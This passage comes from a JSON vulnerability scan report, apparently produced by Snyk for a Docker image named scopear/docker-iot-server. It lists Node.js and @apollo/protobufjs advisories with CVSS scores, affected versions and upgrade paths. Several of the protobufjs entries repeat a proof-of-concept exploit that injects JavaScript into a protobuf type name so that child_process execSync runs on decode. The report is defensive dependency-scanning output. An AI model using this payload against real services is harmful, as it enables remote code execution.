"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/23b94c843a",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-08T05:30:23.932871Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T11:01:48.414364Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:05:21.910908Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:05:21.910908Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-08T05:30:23.932871Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:48.414364Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Use After Free in the HTTP/2 handling process when `nghttp2_session_mem_send()` is called re-entrantly during the execution of `nghttp2_session_mem_recv()`. An attacker can cause a heap-use-after-free condition by triggering concurrent or re-entrant calls, potentially leading to denial of service or other unpredictable behavior.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/23b94c843a)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.39699",
"probability": "0.00490",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-56848"
],
"CWE": [
"CWE-416"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:01:23.611072Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T18:13:39Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:01:45.203590Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:05:21.910908Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-18553653": {
"id": "SNYK-UPSTREAM-NODE-18553653",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"cantina-security"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/22efc051a3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/9d0d36cffd2aee92ba0166df5c565d499be8746a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/dbeeaeec1304e9a0a2609bcdb0270d93921089b5",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-11T05:30:10.378598Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-08-07T11:01:49.572976Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T14:04:21.461449Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T14:04:21.461449Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-11T05:30:10.378598Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:49.572976Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `dns.resolveAny` function when processing a DNS response containing more than 256 A records. An attacker can cause the process to abort repeatedly by sending specially crafted DNS responses.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/22efc051a3)\n- [GitHub Commit](https://github.com/nodejs/node/commit/9d0d36cffd2aee92ba0166df5c565d499be8746a)\n- [GitHub Commit](https://github.com/nodejs/node/commit/dbeeaeec1304e9a0a2609bcdb0270d93921089b5)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.28315",
"probability": "0.00369",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58042"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:04:10.503438Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T03:54:39Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:04:21.066266Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T14:04:21.461449Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-18553660": {
"id": "SNYK-UPSTREAM-NODE-18553660",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"byvini"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/05f541b5c08601a9767e3083897ff7898734a098",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/0d072480c3dbbad6db8723e39786321646989343",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/b3fbb6e11f",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.2,
"modificationTime": "2026-08-11T05:30:55.443628Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.2,
"modificationTime": "2026-08-07T11:01:50.421860Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:23:48.353682Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:23:48.353682Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.2,
"cvssVersion": "3.1",
"modificationTime": "2026-08-11T05:30:55.443628Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.2,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:50.421860Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `node:zlib` synchronous APIs when a spoofed `TypedArray` `byteLength` triggers a reachable assertion. An attacker can cause the process to crash repeatedly by exploiting this condition.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/05f541b5c08601a9767e3083897ff7898734a098)\n- [GitHub Commit](https://github.com/nodejs/node/commit/0d072480c3dbbad6db8723e39786321646989343)\n- [GitHub Commit](https://github.com/nodejs/node/commit/b3fbb6e11f)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.05245",
"probability": "0.00167",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58045"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:04:53.622382Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T03:55:25Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:05:01.741048Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:23:48.353682Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
}
},
"affectedPkgs": {
"node@22.22.3": {
"pkg": {
"name": "node",
"version": "22.22.3"
},
"issues": {
"SNYK-UPSTREAM-NODE-17430980": {
"issueId": "SNYK-UPSTREAM-NODE-17430980",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.0"
}
]
}
],
"nearestFixedInVersion": "22.23.0",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-17674807": {
"issueId": "SNYK-UPSTREAM-NODE-17674807",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.0"
}
]
}
],
"nearestFixedInVersion": "22.23.0",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-18507942": {
"issueId": "SNYK-UPSTREAM-NODE-18507942",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.2"
}
]
}
],
"nearestFixedInVersion": "22.23.2",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-18507943": {
"issueId": "SNYK-UPSTREAM-NODE-18507943",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.2"
}
]
}
],
"nearestFixedInVersion": "22.23.2",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-18553644": {
"issueId": "SNYK-UPSTREAM-NODE-18553644",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.2"
}
]
}
],
"nearestFixedInVersion": "22.23.2",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-18553648": {
"issueId": "SNYK-UPSTREAM-NODE-18553648",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.2"
}
]
}
],
"nearestFixedInVersion": "22.23.2",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-18553653": {
"issueId": "SNYK-UPSTREAM-NODE-18553653",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.2"
}
]
}
],
"nearestFixedInVersion": "22.23.2",
"isRuntime": false,
"isPinnable": false
}
},
"SNYK-UPSTREAM-NODE-18553660": {
"issueId": "SNYK-UPSTREAM-NODE-18553660",
"fixInfo": {
"isPatchable": false,
"upgradePaths": [
{
"path": [
{
"name": "docker-image|docker.io/scopear/docker-iot-server",
"version": "1.3.1_0fbd998.179"
},
{
"name": "node",
"version": "22.22.3",
"newVersion": "22.23.2"
}
]
}
],
"nearestFixedInVersion": "22.23.2",
"isRuntime": false,
"isPinnable": false
}
}
}
}
}
},
"os": {
"prettyName": "Debian GNU/Linux 12 (bookworm)"
}
},
"summary": "109 high or critical severity vulnerable dependency paths",
"severityThreshold": "high",
"filesystemPolicy": false,
"filtered": {
"ignore": [],
"patch": []
},
"uniqueCount": 21,
"projectName": "docker-image|docker.io/scopear/docker-iot-server",
"platform": "linux/amd64",
"hasUnknownVersions": false,
"path": "docker.io/scopear/docker-iot-server:1.3.1_0fbd998.179/scopear/docker-iot-server",
"applications": [
{
"vulnerabilities": [
{
"id": "SNYK-JS-APOLLOPROTOBUFJS-16321047",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"credit": [
"Cristian-Alexandru Staicu"
],
"semver": {
"vulnerable": [
"<1.2.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.2.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.5,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@apollo/protobufjs",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.5,
"cvssVersion": "4.0",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"description": "## Overview\n[@apollo/protobufjs](https://www.npmjs.com/package/@apollo/protobufjs) is a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's `name` field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.\r\n\r\n**Notes:** \r\n- The vulnerability was introduced during the migration to [codegen 2](https://github.com/protobufjs/protobuf.js/commit/17c2797592bc4effd9aaae3ba9777c9550bb75ac) where sanitization of the type name was modified.\r\n- Additional security measures were introduced in `@protobufjs/codegen@2.0.5`, which could hinder exploitation on vulnerable versions.\n## PoC\n```js\r\nconst protobuf = require('protobufjs');\r\nmaliciousDescriptor = JSON.parse(`{\"nested\":{\"User\":{\"fields\":{\"id\":{\"type\":\"int32\",\"id\":1},\"data\":{\"type\":\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\",\"id\":2}}},\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\":{\"fields\":{\"content\":{\"type\":\"string\",\"id\":1}}}}}`)\r\nconst root = protobuf.Root.fromJSON(maliciousDescriptor);\r\nconst UserType = root.lookupType(\"User\");\r\nconst userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);\r\ntry {\r\n const user = UserType.decode(userBytes);\r\n} catch (e) {}```\n## Remediation\nUpgrade `@apollo/protobufjs` to version 1.2.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956)\n",
"epssDetails": {
"percentile": "0.60901",
"probability": "0.00990",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41242"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-xq3m-2v4x-88gg"
]
},
"packageName": "@apollo/protobufjs",
"proprietary": false,
"creationTime": "2026-04-29T09:15:09.206407Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-16T22:34:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-29T09:15:09.545892Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T15:25:15.343948Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@apollo/protobufjs",
"version": "1.2.7"
},
{
"id": "SNYK-JS-APOLLOPROTOBUFJS-16321047",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"credit": [
"Cristian-Alexandru Staicu"
],
"semver": {
"vulnerable": [
"<1.2.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.2.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.5,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@apollo/protobufjs",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.5,
"cvssVersion": "4.0",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"description": "## Overview\n[@apollo/protobufjs](https://www.npmjs.com/package/@apollo/protobufjs) is a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's `name` field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.\r\n\r\n**Notes:** \r\n- The vulnerability was introduced during the migration to [codegen 2](https://github.com/protobufjs/protobuf.js/commit/17c2797592bc4effd9aaae3ba9777c9550bb75ac) where sanitization of the type name was modified.\r\n- Additional security measures were introduced in `@protobufjs/codegen@2.0.5`, which could hinder exploitation on vulnerable versions.\n## PoC\n```js\r\nconst protobuf = require('protobufjs');\r\nmaliciousDescriptor = JSON.parse(`{\"nested\":{\"User\":{\"fields\":{\"id\":{\"type\":\"int32\",\"id\":1},\"data\":{\"type\":\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\",\"id\":2}}},\"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\\\nfunction X\":{\"fields\":{\"content\":{\"type\":\"string\",\"id\":1}}}}}`)\r\nconst root = protobuf.Root.fromJSON(maliciousDescriptor);\r\nconst UserType = root.lookupType(\"User\");\r\nconst userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);\r\ntry {\r\n const user = UserType.decode(userBytes);\r\n} catch (e) {}```\n## Remediation\nUpgrade `@apollo/protobufjs` to version 1.2.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956)\n",
"epssDetails": {
"percentile": "0.60901",
"probability": "0.00990",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41242"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-xq3m-2v4x-88gg"
]
},
"packageName": "@apollo/protobufjs",
"proprietary": false,
"creationTime": "2026-04-29T09:15:09.206407Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-16T22:34:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-29T09:15:09.545892Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T15:25:15.343948Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/server-gateway-interface@2.0.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/server-gateway-interface@2.0.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@apollo/protobufjs",
"version": "1.2.7"
},
{
"id": "SNYK-JS-APOLLOPROTOBUFJS-16321047",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"credit": [
"Cristian-Alexandru Staicu"
],
"semver": {
"vulnerable": [
"<1.2.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.2.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.5,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@apollo/protobufjs",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2026-04-24T02:21:54.472893Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-04-29T05:21:17.052404Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.5,
"cvssVersion": "4.0",
"modificationTime": "2026-09-28T15:25:15.343948Z"
},
{
"type": "secondary",
